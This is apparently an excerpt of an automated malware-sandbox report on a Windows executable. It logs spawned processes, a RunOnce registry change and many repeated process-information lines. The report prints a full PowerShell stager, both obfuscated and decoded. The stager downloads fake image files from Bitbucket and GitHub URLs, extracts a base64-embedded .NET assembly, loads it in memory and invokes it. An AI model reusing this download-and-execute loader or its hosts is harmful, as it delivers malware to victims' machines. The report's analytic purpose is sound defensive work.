K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sodigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.IkIhcga/sdaolnwod/sfwqeqw/twqewqe/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: GdGXG0bnxH.exe

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E830EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

4_2_00007FF7E6E830EC

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe

Code function: 4_2_00007FF7E6E81684 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

4_2_00007FF7E6E81684

Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\GdGXG0bnxH.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
